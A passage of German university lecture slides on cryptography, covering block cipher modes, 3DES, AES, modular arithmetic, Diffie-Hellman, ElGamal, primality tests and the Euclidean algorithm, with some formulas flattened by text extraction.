I DES Challenge, 1997: t = 96d benötigtI DES Challenge II-1, 1998: t = 48d (distributed.net)I DES Challenge II-2, 1998: t = 56h mittels Deep Crack,

einem parallelen Spezialsystem, 250.000$I DES Challenge III, 1999: t = 22h15min

10 / 126

Betriebsmodi blockbasierter symmetrischer Verfahren

Was tun, wenn Länge des Klartextes 6= Blocklänge desVerfahrens?

→ Betriebsmodi („Modes of Operation“) blockbasiertersymmetrischer Verschlüsselungsverfahren

I Electronic Codebook Mode (ECB)I Cipher Block Chaining (CBC)I Cipher Feedback Mode (CFB)I Output Feedback Mode (OFB)I Counter Mode (CTR)I . . .

11 / 126

Electronic Codebook Modus (ECB)Prinzip

I Klartext wird in Blöcke der Länge b (Blocklänge desVerschlüsselungsverfahrens; z. B. 128 Bit bei AES)unterteilt, letzter Block wird auf Länge b aufgefüllt(Padding)

I Verschlüsselungsfunktion E mit Schlüssel K wirdblockweise auf die Klartextblöcke Pi angewandt; esentstehen (gleich große) Chiffratblöcke Ci :

Ci = EK (Pi)

I Entschlüsselungsfunktion D mit Schlüssel K wirdblockweise auf die Chiffratblöcke Ci angewandt; esentstehen (gleich große) Klartextblöcke Pi :

Pi = DK (Ci)

I Blöcke sind voneinander unabhängig12 / 126

Electronic Codebook Modus (ECB)Prinzip, grafisch

Pi+1PiPi−1

Ci−1 Ci Ci+1

EK

KEK

KEK

K

Verschlüsselung per ECB

Pi−1

Ci−1 Ci Ci+1

Pi Pi+1

DK

KDK

KDK

K

Entschlüsselung per ECB

13 / 126

29

Angriff auf ECB mittels Block ReplayECB-verschlüsselter Datenaustausch mit Bank

1 2 3 4 5 6 7 8 9 10 11 12 13

Kontoinhaber Konto-Nr. BetragZeit-stempel bank

Absender- Empfänger-bank

Blocknummern

Abbildung: Beispiel für Format eines Datensatzes

I Mallory zeichnet Datenverkehr zwischen Bank A und BankB auf

I Mallory überweist zweimal einen festen Betrag von A nachB (bis auf Zeitstempel identische Nachrichten)

I bei allen abgehörten Nachrichten tauscht er die Felder5-12 mit den Daten aus seinen Überweisungen aus

Grundproblem: ECB erlaubt das Austauschen einzelnerBlöcke→ Blöcke dürfen nicht unabhängig voneinander sein→CBC

14 / 126

Electronic Codebook Modus (ECB)Eigenschaften

I 1:1-Abbildung Klartextblock→ ChiffratblockI fehlertolerant: Bitfehler im Chiffrat verfälscht nur einen

Klartextblock, keine FehlerfortpflanzungI Blockoperationen parallelisierbar

Nachteile:I gleicher Klartext erzeugt stets identisches ChiffratI unsicher: angreifbar durch Substitutionsattacken

(Austauschen ganzer Blöcke, ohne diese zu entschlüsseln)I des weiteren angreifbar mit statistischen Methoden bei

Wissen über Klartext

15 / 126

Electronic Codebook Modus (ECB)Verschlüsselung einer S/W-Bitmap (AES-128)

Original ECB-verschlüsselt CBC-verschlüsselt

16 / 126

Cipher Block Chaining (CBC)Prinzip

I Ergebnis früherer Verschlüsselungen fließt mit inVerschlüsselung des aktuellen Blockes ein (Rückkopplung)

I Klartextblock wird vor Verschlüsselung mit vorherigemChiffratblock XOR-verknüpft:

Ci = EK (Pi ⊕ Ci−1)

I Entschlüsselung umgekehrt; der Block wird nachEntschlüsselung mit dem vorangehenden ChiffratblockXOR-verknüpft:

Pi = Ci−1 ⊕ DK (Ci)

I erster Block benötigt einen zufälligen Initialisierungsvektor(IV), der nicht geheimgehalten werden muss, aber eineNonce1 sein sollte

1„Number, used only once“17 / 126

Cipher Block Chaining (CBC)Prinzip

EK

Pi+1PiPi−1

EK EK

Ci−1 Ci Ci+1

K K K

IV

Verschlüsselung per CBC

K K K

Pi−1

Ci−1 Ci Ci+1

Pi Pi+1

DK DK DK

IV

Entschlüsselung per CBC

18 / 126

Cipher Block Chaining (CBC)Fehlertoleranz

I Bitfehler im Chiffrat:I enthaltender Block unbrauchbarI nachfolgender Block hat einen 1-Bit-Fehler an der

entsprechenden PositionI übernächster Block nicht betroffenI Selbstsynchronisation auf Blockebene

I Entfernen oder Einfügen eines Bits in das Chiffrat:I alle nachfolgenden Blöcke unbrauchbarI Synchronisationsfehler nicht toleriertI externe Rahmenstruktur mit Prüfsummen/CRC nötig

19 / 126

30

Cipher Feedback Modus (CFB)

Nachteil des CBC: ganzer Klartextblock benötigt, bevorVerschlüsselung startet→ für byteweise Verarbeitungungeeignet (z. B. ein sicheres Terminal)

→ Nutzung von blockbasierten Verfahren zur Implementierungeiner Stromchiffre

Idee: Der im vorangegangenen Schritt verschlüsselte Blockwird nochmals verschlüsselt und in beliebiger Granularität perXOR mit dem Klartextblock verknüpft.

Ci = Pi ⊕ EK (Ci−1)

Pi = Ci ⊕ EK (Ci−1)

20 / 126

Cipher Feedback Modus (CFB)Ablauf

Ablauf:1. Initialisierung eines Schieberegisters mit

Initialisierungsvektor2. blockweise Verschlüsselung des Schieberegisters3. XOR-Operation von n Bit des Chiffrats (ki ) mit n Bit des

Plaintexts (pi )4. Ausgabe/Übertragung der resultierenden n Bit (ci )5. gleichzeitige Rückkopplung von ci in das Schieberegister

und Verschiebung desselben um n Bit6. GOTO 2

21 / 126

Cipher Feedback Modus (CFB)Verschlüsselung (Prinzip, graf.)

Schieberegister

K Verschlüsselung

Byte ganz links ki

pi ci

Übertragung

Verschlüsselung im Cipher Feedback Mode (byteweise, d. h., n = 8)22 / 126

Cipher Feedback Modus (CFB)

I bei Entschlüsselung sind pi und ci vertauschtI Initialisierungsvektor benötigtI Granularität der Ausgabe (fast) beliebig: Byte, 16 Bit, 1 Bit

usw.I Fehler im Klartext bleibt unentdeckt (wird wieder in

fehlerhaften Klartext entschlüsselt)I Bitfehler im Chiffrat macht n Ausgabeblöcke unbrauchbar

(n = Größe des Schieberegisters)I fehlende Bits und eingeschobene Fehlerbits ebenso→

CFB stabilisiert sich auf Blockebene

23 / 126

Output Feedback Modus (OFB)Verschlüsselung (Prinzip)

Schieberegister

K Verschlüsselung

Byte ganz links ki

pi ci

Übertragung

Verschlüsselung im Output Feedback Mode (byteweise, d. h., n = 8)24 / 126

Output Feedback Modus (OFB)Anmerkungen

I Rückkopplung des Resultatbytes ki vor XOR-Verknüpfungmit Plaintextbyte pi :

Ci = Pi ⊕ Si Si = EK (Si−1)

PI = Ci ⊕ Si Si = EK (Si−1)

I sonst identisch zu CFB (d. h., IV benötigt; Geheimhaltungnicht erforderlich)

I „Hauptarbeit“ (Erzeugung des Schlüsselstroms Si ) kannoffline erfolgen

I 1-Bit-Fehler im Chiffrat führt zu 1-Bit-Fehler im KlartextI Synchronisationsfehler katastrophal (vollständiger

Informationsverlust)

25 / 126

31

Counter Mode (CTR)Prinzip

I (konstanter) Initialisierungsvektor IV wird zusammen miteinem Counter CTRi mittels des Schlüssels Kverschlüsselt, Resultat wird mit Klartextblock Pi per XORverknüpft, ergibt Chiffratblock Ci :

Ci = EK (IV ||CTRi)⊕ Pi

I Klartextblock Pi ergibt sich aus XOR-Verknüpfung desChiffratblockes Ci und dem mit K verschlüsseltenInitialisierungsvektor verkettet mit dem zugehörigenCounter CTRi

Pi = CI ⊕ EK (IV ||CTRi)

I Länge von IV und CTR zusammen entspricht derBlocklänge des Verfahrens

26 / 126

Counter Mode (CTR)Eigenschaften

I benötigt IV und Counter, beide sind nicht geheim, solltenaber zusammen Nonce ergeben

I nutzt Blockchiffre, betrieben als StromchiffreI Bitfehler auf 1 Block beschränktI Blöcke sind unabhängig; gleiche Klartextblöcke ergeben

aber unterschiedliche Chiffratblöcke, da sie von CTRabhängen

I parallelisierbar; wahlfreier Zugriff auf jeden BlockI Ver- und Entschlüsselung mit identischer Funktion (

Nutzung einer Einwegfunktion möglich)

27 / 126

Counter Mode (CTR)Prinzip

KEK

IV CTRi−1

KEK

Ci−1

Pi−1 Pi

Ci

IV CTRi

Verschlüsselung per CTR

IV CTRi−1 IV CTRi

KDK

KDK

Ci−1

Pi−1

Ci

Pi

Entschlüsselung per CTR

28 / 126

Weitere Betriebsmodi

I Galois Counter Mode (GCM) – ermittelt zusätzlich einenMAC zur Authentisierung

I Counter with CBC-MAC (CCM)I Offset Codebook Mode (OCB)I Integrity Aware Parallelizable Mode (IAPM)I . . .

29 / 126

Kombination von Blockchiffren

Idee:I Weiternutzung eines (bewährten) VerfahrensI Verlängerung des Schlüssels→ Erhöhung der Sicherheit des Verfahrens

Mehrfachverschlüsselung = Hintereinanderausführung ein-und desselben Algorithmus mit unterschiedlichen Schlüsseln.

I bei Nutzung gleicher Schlüssel bleibt Komplexität einesBrute-Force-Angriffes konstant ( Ziel verfehlt)

30 / 126

Wie oft soll ich nun DES o. ä. ausführen?

Doppelte Verschlüsselung:

C = EK2(EK1(P))

Hat K eine Breite von n Bits, so müssen 2n Schlüssel probiertwerden. Also müssen bei doppelter Verschlüsselung 22n

Schlüssel probiert werden, oder?

Antwort: Nein! Es gibt den sog. Meet-in-the-Middle-Angriff2,eine spezielle Form eines Known-Plaintext-Angriffs

2Bitte nicht mit Man-in-the-Middle-Angriff verwechseln!31 / 126

32

Meet-in-the-Middle-Angriff

I 2 Chiffrate C1, C2 und 2 (zugehörige) Plaintexte P1, P2müssen bekannt sein:

C1 = EK2(EK1(P1))

C2 = EK2(EK1(P2))

Angriffsidee („von beiden Seiten“):1. P1 mit allen möglichen Schlüsseln verschlüsseln und

Chiffrate abspeichern2. C1 mit allen möglichen Schlüsseln entschlüsseln und

Ergebnis mit allen Chiffraten aus 1. vergleichen3. bei Gleichheit: zugehörige Schlüssel nutzen, um P2

(doppelt) zu verschlüsseln; Ergebnis = C2 Schlüssel aus1. ist K1, Schlüssel aus 2. ist K2

4. ansonsten weiterprobieren

32 / 126

Meet-in-the-Middle-AngriffSchlußfolgerung

I benötigt viel Speicherplatz (für 2n Blöcke)I Es müssen bei n Bit Schlüssellänge 2 · 2n Schlüssel

durchprobiert werden

Schlußfolgerung: Ist ein Meet-in-the-Middle-Angriff möglich,dann führt die doppelte Verschlüsselung nicht zur Erschwerungdes Brute-Force-Angriffes von 2n auf 22n Versuche, sondernnur zu 2n+1.

Fazit: doppelte Verschlüsselung ist (so gut wie) nutzlos!

Abhilfe: dreifach verschlüsseln!

33 / 126

Triple DES (3DES)Struktur

Klartext

DES DES DES

Chiffrat

DES DES DES

Entschlüsselung

Verschlüsselung

E(K1) D(K2)

E(K2) D(K3)

E(K3)

D(K1)

34 / 126

Triple DESAnmerkungen

I drei verschiedene Schlüssel nötigI Verschlüsselung:

C = EK3(DK2(EK1(P)))

I sog. Encryption-Decryption-Encryption (EDE-Modus)I sicherer als aufeinanderfolgende VerschlüsselungI Entschlüsselung (analog):

P = DK1(EK2(DK3(C)))

I als ähnlich sicher angesehen wie modernere Verfahren(IDEA, AES)

I dreifacher Verarbeitungsaufwand (!)

35 / 126

Advanced Encryption Standard (AES)AES

I Rijmen&Daemen, 1998I ursprüngliche Bezeichung: „Rijndael“I in einem mehrere Runden umfassenden Wettbewerb aus

mehreren „Bewerbungen“ (u. a. Twofish, RC6, Rijndael) alsNachfolger für DES ausgewählt

I blockbasiert (128 Bit), Schlüsselgrößen 128, 192 und 256Bit.

I Struktur ist keine Feistel-Chiffre, sondern einSubstitution-Permutation Network

I nicht patentiert, offener AlgorithmusI zur Zeit einer der meistverwendetsten symmetrischen

AlgorithmenI sehr hohes Maß an SicherheitI Referenzimplementierung nur 500 Zeilen C-CodeI effizient sowohl in Soft- und Hardwareimplementierungen

36 / 126

AES

Anwendungen:I WLAN/WiFi: WPA2I Verschlüsselung von Datenträgern: FileVault, TrueCrypt,

BitLockerI Kommunikationsprotokolle: IPsec, TLS, SSHI Dateiverschlüsselungen: 7-Zip, RARI Applikationen: KeePassI (leider auch) Ransomware: LockyI u. v. a. m.

37 / 126

33

Weitere Blockchiffrierungsverfahren

I Lucifer (1971)I FEAL (1990)I LOKI (1990)I IDEA (1991)I Blowfish (1994)I Tiny Encryption Algorithm (TEA; 1994)→ PraktikumI RC6 (1997)I Serpent (1998)I Twofish (1998)I Camellia (2000)I Threefish (2008)I ...

38 / 126

Exkurs: Rechnen mit Restklassenaka „Modulo-Arithmetik“

Aufgabe: Rudi ist um 7.00 Uhr aufgestanden und (nacheigenen Angaben) seit 34 Stunden auf den Beinen. Wie spät istes?

Lösung:

(7 + 34) mod 24 = 41 mod 24 = 17 mod 24

Es ist offensichtlich 17.00 Uhr.

Man sagt: „41 und 17 sind äquivalent modulo 24“ und notiert

(7 + 34) ≡ 17 mod 24

39 / 126

Rechnen mit Restklassen

Allgemein gilt

a ≡ b mod n iff ∃k : a = b + kn k ∈ Z

(„a ist kongruent zu b modulo n genau dann, wenn es einganzzahliges k gibt mit . . . “)

I wenn a > 0 und 0 ≤ b < n, dann ist b der Rest derDivision a/n

I a mod n wird häufig modulare Reduktion (von a) genannt

Rechenregeln:

(a + b) mod n = ((a mod n) + (b mod n)) mod n(a− b) mod n = ((a mod n)− (b mod n)) mod n(a · b) mod n = ((a mod n) · (b mod n)) mod n

(a(b + c)) mod n = ((ab mod n) + (ac mod n)) mod n

40 / 126

Rechnen mit Restklassen

I gern in Kryptografie eingesetzt, da bestimmteBerechnungen modulo n schwierig3 sind

I Zwischenergebnisse haben beschränkten Wertebereich

3 im Sinne von ‘sehr lange dauern’41 / 126

Modulare Exponentiation

Eine wichtige Operation, z. B. für RSA, ist

ax mod n

Berechnung am Beispiel y = a8 mod n1. naiver Ansatz

y = (a · a · a · a · a · a · a · a) mod n

→ Zwischenergebnis sehr groß, schlecht zu speichern2. Kombination von Potenzierung und modularer Reduktion

y = ((a2 mod n)2 mod n)2 mod n

Schön und gut, was aber tun, wenn x keine Zweierpotenz?

42 / 126

Modulare ExponentiationBinäre Exponentiation („Square-and-multiply“) von xe

Idee: Binärdarstellung des Exponenten e drückt diesen alsSumme von Zweierpotenzen aus!

Algorithmus zur Berechnung von y = xe:I e als Binärzahl darstellenI Binärdarstellung von e bitweise von links beginnend lesen

I wenn Bit = 1, dann ‘QM’ notierenI wenn Bit = 0, dann ‘Q’ notieren

I Initialwert: y = 1I wiederum von links beginnend generierte Zeichenkette

analysierenI wenn Zeichen = ‘Q’, dann y quadrierenI wenn Zeichen = ‘M’, dann y mit x multiplizieren

43 / 126

34

Modulare ExponentiationBinäre Exponentiation - Beispiel

Berechnung von x42

Es gilt: 4210 = 0010.10102 d. h. , 42 = 25 + 23 + 21

12x( x )2

( x5 )2

( x10 )2x( x21 )2

( x2 )2x

QM Q QM Q QM Q42 = 1 0 1 0 1 0

Initialwert

d. h., x42 = ((((x2)2 · x)2)2 · x)2

44 / 126

Modulare ExponentiationKombination mit Modulo-Operation: Berechnung von y = xe mod p

I da gilt:

(a · b) mod n = ((a mod n) · (b mod n)) mod n,

I muss Modulo-Operation nach jeder Multiplikation und nachjeder Quadrierung ausgeführt werden

Beispiel: Berechnung von x25 mod p

Es gilt: 2510 = 110012 d. h. , QM QM Q Q QM

x25 mod p =

(((((((x2 mod p)·x) mod p)2 mod p)2 mod p)2 mod p)·x) mod p

I benötigt 6 Multiplikationen und 6 Modulo-Operationen

45 / 126

Diskreter Logarithmus

Def. Eine primitive Wurzel modulo p ist eine Zahl a, derenPotenzen modulo p alle Werte zwischen 1 und p − 1generieren kann.

Beispiel:

51 = = 5 ( mod 7)52 ≡ 5 · 5 ≡ 4 ( mod 7)53 ≡ 4 · 5 ≡ 6 ( mod 7)54 ≡ 6 · 5 ≡ 2 ( mod 7)55 ≡ 2 · 5 ≡ 3 ( mod 7)56 ≡ 3 · 5 ≡ 1 ( mod 7)

Das bedeutet, in diesem Fall können wir für jedes y < permitteln, welches x die Gleichung

f (x) = y = ax mod p

erfüllt. Wir nennen x den diskreten Logarithmus modulo pvon y.

46 / 126

Diskreter Logarithmus

0

20

40

60

80

100

0 20 40 60 80 100

x

y

Abbildung: Graph des diskreten Logarithmus für y = 17x mod 107

47 / 126

Diskreter Logarithmus

Schlussfolgerung / Zusammenfassung:I modulare Exponentiation f (x) = ax mod p ist leicht zu

berechnen (geringer Aufwand)I Umkehrung der modularen Exponentiation („diskreter

Logarithmus“) f−1(x) = ax mod p ist sehr schwierig Einwegfunktion

48 / 126

Diffie-Hellman-Protokoll

Anwendung des diskreten Logarithmus: Schlüsselgenerierungund -austausch mittels Diffie-Hellman-Protokoll:

1. Bob und Alice einigen sich auf eine große Primzahl p undeine primitive Wurzel g modulo p.

2. Alice wählt eine (große) zufällige Zahl i (Alice’ geheimerSchlüssel) und berechnet A = g i mod p (Alice’ öffentlicherSchlüssel).

3. Bob wählt eine (große) zufällige Zahl j (Bobs geheimerSchlüssel) und berechnet B = g j mod p (Bobs öffentlicherSchlüssel).

4. Alice sendet A an Bob, Bob sendet B an Alice.5. Alice berechnet

K = Bi mod p = (g j mod p)i mod p = g ij mod p, dengeheimen Sitzungsschlüssel.

6. Bob berechnetK = Aj mod p = (g i mod p)j mod p = g ij mod p.

49 / 126

35

Anmerkungen zum Diffie-Hellman-Protokoll

I g muss primitiv modulo p sein, d.h. es muss stets ein lgeben, so dass g l ≡ b mod p ∀ 1 ≤ b < p.

I Eve kann A und B abfangen, es nützt ihr aber nichts, siekann g ij mod p nicht aus g i mod p und g j mod pberechnen, denn dazu müßte sie i und j ermitteln (dendiskreten Logarithmus modulo p von A und B zur Basis g)

I Mallory ist (leider) mächtiger; er kann einenMan-in-the-Middle-Attack durchführen!

50 / 126

Diffie-Hellman-ProtokollBeispiel

Alice Bobg = 4, p = 11

i = 3 j = 4A = 43 mod 11 = 9 B = 44 mod 11 = 3

A = 9→ Bob Alice← B = 3K = Bi mod p K = Aj mod p

= 33 mod 11 = 5 = 94 mod 11 = 5

51 / 126

El-Gamal-Verschlüsselung. . . . . . klitzekleine Erweiterung des DH-Schlüsselaustausches

SchlüsselgenerierungI Alice wählt eine Primzahl p und eine primitive Wurzel g mod p

I Alice wählt einen zufälligen Exponenten i ∈ {0, . . . ,p − 2}; ihrenprivaten Schlüssel

I Alice errechnet A = g i mod p, ihren öffentlichen Schlüssel4

VerschlüsselungI Bob beschafft sich (g,p,A)

I Bob wählt einen zufälligen Wert j ∈ {0, . . .p − 2} und berechnetB = g j mod p

I Bob teilt die Klartextnachricht in Blöcke mk der Länge{0,1, . . . ,p − 1} ein und berechnet dann die Chiffratblöcke ck

ck = Ajmk mod p

(er multipliziert die Klartextblöcke mit dem DH-Session-Key)4Der gesamte öffentliche Schlüssel umfasst (g, p, A)

52 / 126

El-Gamal-VerschlüsselungEntschlüsselungI Alice besorgt sich B und die Chiffratblöcke ck

I „dividiert“ die Chiffratblöcke durch den DH-Session-Key

mk =ck

Bi mod p

I dies tut sie jedoch nicht direkt (sie müßte das zu Bi multiplikativinverse Element finden), sondern sie berechnet den Exponentenx :

x = p − 1− iund ermittelt dann für jeden Chiffratblock ck

Bxck mod p = mk

I Dies funktioniert, weil

Bxck ≡ g j(p−1−i)Ajmk ≡ (gp−1)j(g i)−jAjmk

≡ A−jAjmk ≡ mk (mod p) = mk

gilt.53 / 126

El-Gamal-VerschlüsselungBeispiel

Alice Bobp = 23, g = 7, i = 6

A = g i mod p = 76 mod 23 = 4(p,g,A) = (23,7,4)→ Bob

j = 13B = g j mod p = 713 mod 23 = 20

Klartext‘block’ m = 17c = Ajm mod p = 41317 mod 23

= 19Alice← (20,19) = (B, c)

x = p − 1− i = 23− 1− 6 = 16m = Bxc mod p = 201619 mod 23

= 17

54 / 126

Exkurs 2: Primzahlen

Def. Eine natürliche Zahl p ist eine Primzahl, wenn sie genauzwei Teiler hat.

I 0 und 1 sind keine PrimzahlenI Beispiele: 2, 3, 5, 7, 11, . . . , 73, . . . , 274.207.281 − 1

(gegenwärtig größte bekannte)5

I Primzahlen mit Abstand 2 sind so genanntePrimzahlzwillinge6; z. B. (3,5), (101, 103),(3756801695685 · 2666669± 1)

I Hat p mehr als 2 Teiler, so ist sie eine zusammengesetzteZahl (ein Produkt von Primzahlen).

I kein Verfahren, Funktion, Formel usw. bekannt, effizient(große) Zahlen in Primfaktoren zu zerlegen

5am 7. 1. 2016 gefunden; vgl.http://www.mersenne.org/6Deren (Un)endlichkeit ist bislang nicht bewiesen.

55 / 126

36

PrimzahlenUnendlichkeit von Primzahlen

Satz: Es gibt unendlich viele Primzahlen.

Beweis (Euklid, 300 v. u. Z.):

I Angenommen, es gäbe endlich viele Primzahlen p1,p2, . . . ,pn.

I Somit kann m = p1 · p2 · . . . · pn + 1 keine Primzahl sein.

I Wenn m keine Primzahl ist, muss sie zusammengesetzt sein,also (mindestens einen) Primfaktor q enthalten mitq | m = p1 · p2 · . . . · pn + 1.

I Da q in {p1,p2, . . . ,pn} enthalten sein muss (denn das sind allePrimzahlen, die es gibt), muss auch gelten

q | p1 · p2 · . . . · pn = m − 1.

I Aus q | m und q | (m − 1) folgt q | m − (m − 1), also q | 1.

I Da aber keine Primzahl 1 teilt, haben wir einen Widerspruch. DieAnnahme endlich vieler Primzahlen ist somit falsch.

56 / 126

Generierung von PrimzahlenÜbersicht über Verfahren

I ProbedivisionI Sieb des EratosthenesI Fermatscher PrimzahltestI Miller-Rabin-Test (1974)I Solovay-Strassen-Test (1977)I Sieb von Atkin (1999)I AKS-Primzahltest (2002; polynomielle Laufzeit)7

7Manindra Agrawal, Neeraj Kayal und Nitin Saxena. “PRIMES is in P”. In: Annals of Mathematics 160.2 (20024),S. 781–793.

57 / 126

Generierung von PrimzahlenSieb des Eratosthenes (Eratosthenes von Kyrene, ca. 276–196 v. u. Z.)

Algorithmus:

1. Man schreibe alle Zahlen von 2 bis zum gewünschten MaximumM auf.

2. Es sei n die kleinste nicht gestrichene und nicht markierte Zahl.Man markiere n und streiche dann alle Vielfache von n aus.

3. Man führe Schritt 2 für alle n ≤√

M aus.

4. Alle markierten und alle nicht gestrichenen Zahlen sindPrimzahlen.

Beispiel (M = 100):

2 3 �4 5 �6 7 �8 �9 ��10 11 ��12 13 ��14 ��15��16 17 ��18 19 ��20 ��21 ��22 23 ��24 ��25 ��26 ��27 ��28 29��30 31 ��32 ��33 ��34 ��35 ��36 37 ��38 ��39 ��40 41 ��42 43��44 ��45 ��46 47 ��48 ��49 ��50 ��51 ��52 53 ��54 ��55 ��56 ��57��58 59 ��60 61 ��62 ��63 ��64 ��65 ��66 67 ��68 ��69 ��70 71��72 73 ��74 ��75 ��76 ��77 ��78 79 ��80 ��81 ��82 83 ��84 ��85��86 ��87 ��88 89 ��90 ��91 ��92 ��93 ��94 ��95 ��96 97 ��98 ��99 ��100

58 / 126

Primzahltest nach FermatKleiner Satz des Fermat

Voraussetzung: p sei prim, g ∈ Z, ggT(g,p) = 1.

Dann gilt nach Pierre de Fermat:

gp−1 ≡ 1 ( mod p).

Umkehrung des Satzes: Wenn gilt:

gp−1 mod p 6= 1,

dann kann p keine Primzahl sein, sondern musszusammengesetzt sein.→ Grundidee für einen(probabilistischen) Primzahltest.

59 / 126

Primzahltest nach Fermat

„Ist p eine Primzahl?“

Start

Wähle g zufällig mit 1 < g < n − 1

Berechne y = gp−1 mod p

y = 1?

„p ist zusammengesetzt.“

Stop

"p ist wahrscheinlich prim.“

no

yes

Abbruch mit dem Ergebnis „p ist wahrscheinlich prim“, nachhinreichend vielen Iterationen.

60 / 126

Primzahltest nach FermatFermatsche Pseudoprimzahlen, Carmichael-Zahlen

Problem: Es gibt einige (wenige) Zahlen p, für diegp−1 mod p = 1 gilt und die dennoch zusammengesetzt sind,die so genannten fermatschen Pseudoprimzahlen zur Basis g.

Abhilfe: Nutzung einer anderen Basis g

Problem 2: Es gibt (sehr, sehr wenige) Zahlen p, für diegp−1 mod p = 1 ∀1 < g < p − 1 gilt und die dennochzusammengesetzt sind, die so genanntenCARMICHAEL-Zahlen.

Abhilfe: keine bzw. Nutzung eines anderen Primzahltests.

Beispiel: 561 = 3 · 11 · 17 ist die kleinste CARMICHAEL-Zahl.

61 / 126

37

Miller-Rabin-Test (MRT)

§4.2 Probabilistic primality tests 139

4.21 Definition Let n be an odd composite integer and let n− 1 = 2sr where r is odd. Let abe an integer in the interval [1, n− 1].

(i) If ar ≡ 1 (mod n) and if a2jr ≡ −1 (mod n) for all j, 0 ≤ j ≤ s − 1, then a is

called a strong witness (to compositeness) for n.(ii) Otherwise, i.e., if either ar ≡ 1 (mod n) or a2

jr ≡ −1 (mod n) for some j, 0 ≤j ≤ s − 1, then n is said to be a strong pseudoprime to the base a. (That is, n actslike a prime in that it satisfies Fact 4.20 for the particular base a.) The integer a iscalled a strong liar (to primality) for n.

4.22 Example (strong pseudoprime) Consider the composite integern = 91 (= 7×13). Since91− 1 = 90 = 2× 45, s = 1 and r = 45. Since 9r = 945 ≡ 1 (mod 91), 91 is a strongpseudoprime to the base 9. The set of all strong liars for 91 is:

{1, 9, 10, 12, 16, 17, 22, 29, 38, 53, 62, 69, 74, 75, 79, 81, 82, 90}.

Notice that the number of strong liars for 91 is 18 = φ(91)/4, where φ is the Euler phifunction (cf. Fact 4.23). �Fact 4.20 can be used as a basis for a probabilistic primality test due to the following result.

4.23 Fact If n is an odd composite integer, then at most 14 of all the numbers a, 1 ≤ a ≤ n−1,are strong liars for n. In fact, if n = 9, the number of strong liars for n is at most φ(n)/4,where φ is the Euler phi function (Definition 2.100).

4.24 Algorithm Miller-Rabin probabilistic primality test

MILLER-RABIN(n,t)INPUT: an odd integer n ≥ 3 and security parameter t ≥ 1.OUTPUT: an answer “prime” or “composite” to the question: “Is n prime?”

1. Write n− 1 = 2sr such that r is odd.2. For i from 1 to t do the following:

2.1 Choose a random integer a, 2 ≤ a ≤ n− 2.2.2 Compute y = ar mod n using Algorithm 2.143.2.3 If y = 1 and y = n− 1 then do the following:

j←1.While j ≤ s− 1 and y = n− 1 do the following:

Compute y←y2 mod n.If y = 1 then return(“composite”).j←j + 1.

If y = n− 1 then return (“composite”).3. Return(“prime”).

Algorithm 4.24 tests whether each base a satisfies the conditions of Definition 4.21(i).In the fifth line of step 2.3, if y = 1, then a2

jr ≡ 1 (mod n). Since it is also the case thata2j−1r ≡ ±1 (mod n), it follows from Fact 3.18 that n is composite (in fact gcd(a2

j−1r−1, n) is a non-trivial factor of n). In the seventh line of step 2.3, if y = n − 1, then a is astrong witness for n. If Algorithm 4.24 declares “composite”, then n is certainly compos-ite because prime numbers do not violate Fact 4.20. Equivalently, if n is actually prime,then the algorithm always declares “prime”. On the other hand, if n is actually composite,then Fact 4.23 can be used to deduce the following probability of the algorithm erroneouslydeclaring “prime”.

(8)

8Alfred J. Menezes, Paul C. van Oorschot und Scott A. Vanstone. Handbook of Applied Cryptography. CRCPress, 1996, S. 139. 62 / 126

Miller-Rabin-Test (MRT)

Beispiel:I n = 91, t = 3I 91− 1 = 21 · 45 r = 45, s = 1I a = 12, y = 1245 mod 91 = 90 „prim“I a = 17, y = 1745 mod 91 = 90 „prim“I a = 34, y = 3445 mod 91 = 34 „zusammengesetzt!“

a=12 und a=17 werden „Lügner“ (liars) bzgl. der Eigenschaft„prim“ genannt.

63 / 126

Eulersche ϕ-Funktion

Definition (Eulersche ϕ-Funktion)ϕ(n) ist die Anzahl der zu n teilerfremden positiven ganzenZahlen, die nicht größer sind als n.

formal:ϕ(n) =

∣∣∣{1 ≤ a ≤ n | ggT(n,a) = 1}∣∣∣

(„ϕ(n) ist die Mächtigkeit der Menge, die alle Zahlen a enthält,die teilerfremd zu n sind.“)

I zahlentheoretische FunktionI Beispiele:

ϕ(1) = 1ϕ(2) = 1ϕ(6) = 2 (a ∈ {1,5})ϕ(7) = 6 (Primzahl!)

ϕ(15) = 8 (a ∈ {1,2,4,7,8,11,13,14})64 / 126

Eulersche ϕ-Funktion und Primzahlen

I Wenn p prim, dann ϕ(p) = p − 1.I Wenn p und q prim, dann ϕ(pq) = (p − 1)(q − 1).

Beweis:I Es gibt genau pq − 1 Zahlen, die kleiner als pq sind.I Unter diesen gibt es (p − 1) Vielfache von q und (q − 1)

Vielfache von p.I Alle anderen Zahlen < pq sind keine Teiler von pq, da p

und q prim sind.I Folglich gilt:

ϕ(pq) = (pq − 1)− (p − 1)− (q − 1)= pq − p − q + 1= (p − 1)(q − 1).

65 / 126

Der Satz von Euler

Definition (Satz von Euler)Es seien m,n zwei teilerfremde natürliche Zahlen. Dann gilt:

mϕ(n) mod n = 1.

Für Primzahlen p,q mit p 6= q und n = pq gilt damit(vgl. vorherige Folie)

m(p−1)(q−1) mod pq = 1.

66 / 126

Größter gemeinsamer Teiler (ggT)Berechnung über Primfaktorzerlegung

Idee:I Zerlegung beider Operanden in PrimfaktorenI Produkt der gemeinsamen Faktoren ist der ggT.

Beispiel: ggT(468, 1260)

Zerlegung in Primfaktoren liefert:

468 = 2 · 2 · 3 · 3 · 131260 = 2 · 2 · 3 · 3 · 5 · 7

ggT = 2 · 2 · 3 · 3 = 36

I nur für kleine Zahlen praktikabel, da Primfaktorzerlegungalgorithmisch aufwändig für große Zahlen

67 / 126

38

Größter gemeinsamer Teiler (ggT)Euklidischer Algorithmus (ca. 500 v. u. Z.)

Algorithmus 1 Berechne den ggT(n, a) =1: if n = 0 then2: return a3: else4: while a 6= 0 do5: if n > a then6: n← n − a7: else8: a← a− n9: end if

10: end while11: return n12: end if

68 / 126

Größter gemeinsamer Teiler (ggT)Euklidischer Algorithmus (ca. 500 v. u. Z.)

I sukzessive Subtraktion kann effizient aufmodulo-Operation abgebildet werden:

ggT(n,a) =

{ggT(a, (n mod a)) für a > 0n für a = 0

I mit n > a ≥ 0

Algorithmus 2 Berechne den ggT(n, a) =1: while a 6= 0 do2: h← n mod a3: n← a4: a← h5: end while6: return n

69 / 126

Euklidischer AlgorithmusBeispiel

ggT(792,75) = ggT(75,42) (792 = 10 · 75 + 42)

= ggT(42,33) (75 = 1 · 42 + 33)

= ggT(33,9) (42 = 1 · 33 + 9)

= ggT(9,6) (33 = 3 · 9 + 6)

